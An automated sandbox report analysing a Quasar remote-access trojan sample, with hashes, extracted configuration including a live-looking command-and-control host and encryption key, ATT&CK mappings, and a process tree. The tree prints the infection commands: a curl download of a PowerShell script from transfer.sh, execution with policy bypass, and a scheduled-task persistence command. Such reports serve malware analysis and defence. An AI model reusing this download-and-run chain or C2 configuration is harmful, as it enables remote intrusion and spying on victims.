quasar | 3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5

Analysis

max time kernel
143s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
17/01/2023, 08:26

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General

Target
{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe
Size 547KB
Sample230117-kbvmqach82
SHA256 3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5
MD5 b0ab211e83a23d58e1322e4d2d6f0a96
SHA1 d568fbcd41e30651cc80ba8a5e9eeab637a99f9e
SHA512 4a54251fbf23fe3d0e96fcf8d3363e917921644a178387b619367338faa1884134639dd696d55a5a9f06cf167f128d599cc57fb62dba603afc4ebb287d22204d
SSDEEP 3072:SvGyYiSDnt1G5GWp1icKAArDZz4N9GhbkrNEk184:W4wp0yN90QEg
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar office04 persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.0

Botnet

Office04

ghcc.duckdns.org:4782

Mutex

a9c03eb7-f3c1-4b9e-a4f7-1962d17a793b

Attributes

encryption_key
B0326395AC2D48856CAE22978A087DF5DCF5816D
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Update
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/memory/2880-144-0x0000000000400000-0x0000000000484000-memory.dmp	family_quasar
behavioral2/memory/2880-145-0x000000000047E74E-mapping.dmp	family_quasar

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	api.ipify.org
22	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3572 set thread context of 2880	3572	powershell.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1952	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3572	powershell.exe
3572	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3572	powershell.exe
Token: SeDebugPrivilege	2880	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2880	RegAsm.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 4644 wrote to memory of 4112	4644	{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe	82
PID 4644 wrote to memory of 4112	4644	{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe	82
PID 4112 wrote to memory of 3752	4112	cmd.exe	84
PID 4112 wrote to memory of 3752	4112	cmd.exe	84
PID 3752 wrote to memory of 2132	3752	WScript.exe	85
PID 3752 wrote to memory of 2132	3752	WScript.exe	85
PID 2132 wrote to memory of 4320	2132	cmd.exe	87
PID 2132 wrote to memory of 4320	2132	cmd.exe	87
PID 4320 wrote to memory of 1852	4320	cmd.exe	88
PID 4320 wrote to memory of 1852	4320	cmd.exe	88
PID 3752 wrote to memory of 364	3752	WScript.exe	89
PID 3752 wrote to memory of 364	3752	WScript.exe	89
PID 364 wrote to memory of 632	364	cmd.exe	91
PID 364 wrote to memory of 632	364	cmd.exe	91
PID 632 wrote to memory of 3572	632	cmd.exe	92
PID 632 wrote to memory of 3572	632	cmd.exe	92
PID 3572 wrote to memory of 2880	3572	powershell.exe	93
PID 3572 wrote to memory of 2880	3572	powershell.exe	93
PID 3572 wrote to memory of 2880	3572	powershell.exe	93
PID 3572 wrote to memory of 2880	3572	powershell.exe	93
PID 3572 wrote to memory of 2880	3572	powershell.exe	93
PID 3572 wrote to memory of 2880	3572	powershell.exe	93
PID 3572 wrote to memory of 2880	3572	powershell.exe	93
PID 3572 wrote to memory of 2880	3572	powershell.exe	93
PID 2880 wrote to memory of 1952	2880	RegAsm.exe	95
PID 2880 wrote to memory of 1952	2880	RegAsm.exe	95
PID 2880 wrote to memory of 1952	2880	RegAsm.exe	95

C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe
"C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4644
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c new.vbs
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3752
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2132
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4320
      - C:\Windows\system32\curl.exe
        
        curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
        6⤵
        
        PID:1852
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
      4⤵
      Suspicious use of WriteProcessMemory
      PID:364
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:632
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
        6⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3572
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2880
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" /rl HIGHEST /f
        8⤵
        Creates scheduled task(s)
        
        PID:1952

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

new.vbs

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs
Size 300.0MB
SHA256 b7f331e83a80b15cc4537324bde827ac9b2ecb990150db4d00d84ee2560cf5be
MD5 f7e7099eea0cc25fc49d04cd53c573a1
SHA1 3abac9f3f93b0f87ef432d70c40e8ab865157770
SHA512 c19ddc5e41ed6d485f5df47996f34ff326a782e909bffaa8aa31a3f72fddb33cc7e3709e0cc44b2078668dc83297b42bb3157d6d000a9323ffca6303cd43f074
SSDEEP 12:O+h3awpefBNTkj5H6NPnqkc+h3awpeZ9nF6NPnJ:O+9xYZNTo5wqh+9xYZly
MD5 SHA1 SHA512 SSDEEP

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rr.ps1

Path C:\Users\Admin\AppData\Roaming\rr.ps1
Size 5.1MB
SHA256 6c1e62385d660ca43e024d461154fbb4805e429cdf7850d19510d7f69533739e
MD5 970aca768e68faa580f758a1a379686b
SHA1 6a93921485cbd83382eb5a47315b1f0a67bcf684
SHA512 66dd4c5b17978e68c8e0cd2bc4fd35ba5d519447ff34259ec77d11e4253cbfc9955a43915ed3c343f41dc04d97f4302ab6922a823b0e0da44e8893d29ec7cf0f
SSDEEP 49152:CY1wOeTfeinwRg0Yd0YtWdR2++BqkPiblNmBZOqsHtL3rdyW6JKHINYMpnkq/3+s:E
MD5 SHA1 SHA512 SSDEEP

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memory/2880-147-0x00000000055C0000-0x0000000005B64000-memory.dmp

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memory/2880-148-0x00000000050D0000-0x0000000005162000-memory.dmp

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memory/2880-154-0x0000000007570000-0x00000000075D6000-memory.dmp

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memory/2880-153-0x0000000006420000-0x00000000064D2000-memory.dmp

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memory/2880-152-0x0000000006130000-0x0000000006180000-memory.dmp

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memory/2880-144-0x0000000000400000-0x0000000000484000-memory.dmp

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memory/2880-151-0x0000000006660000-0x0000000006C78000-memory.dmp

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memory/2880-149-0x0000000005080000-0x000000000508A000-memory.dmp

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memory/3572-146-0x00007FFBAD7F0000-0x00007FFBAE2B1000-memory.dmp

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memory/3572-143-0x00007FFBAD7F0000-0x00007FFBAE2B1000-memory.dmp

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memory/3572-141-0x000001DAF4570000-0x000001DAF4592000-memory.dmp

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